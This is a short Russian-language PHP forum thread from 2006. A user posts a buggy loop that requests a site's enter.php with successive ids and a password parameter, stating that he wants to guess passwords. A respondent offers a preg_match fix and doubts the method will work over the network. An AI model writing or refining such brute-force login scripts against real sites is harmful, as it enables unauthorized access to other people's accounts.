|
|
|
|
if($php=="$err") {
continue; }
else {
echo " $php <br/>
$i "; } }
|
какое рег. выражение написать для $err чтобы в нем был текст "любые_символы Not Found любые_символы" ? | |
|
|
|
|
|
|
|
для: Specter
(19.12.2006 в 14:11)
| | Хм... должно подойти следующее регулярное выражение
| |
|
|
|
|
|
|
|
для: cheops
(19.12.2006 в 16:16)
| | Я хочу сделать подбор пароля напиши как правильнее будет.
<?php
$err = "|^.*User was not found.*$|is";
for($i=1; $i < 9999; $i++) {
$site = $_GET["site"];
$file = "enter.php?id=".$i."&ps=".$pass."";
$php = $php[$i];
$php = file("http://$site/$file");
$php = implode("", $php);
if($php=="$err") { continue; }
else {
echo " $php <br/>
$i "; } }
?>
| надо сделать так чтобы если скрипт встретит фразу $err он ее не выводил. | |
|
|
|
|
|
|
|
для: Specter
(19.12.2006 в 16:44)
| | В этом случае, обычно вместо
<?php
if($php=="$err") { continue; }
?>
|
используют следующую конструкцию
<?php
if(preg_match("$err",$php)) { continue; }
?>
|
PS Однако вряд ли вам удасться подобрать таким способом пароль через сеть. | |
|
|
|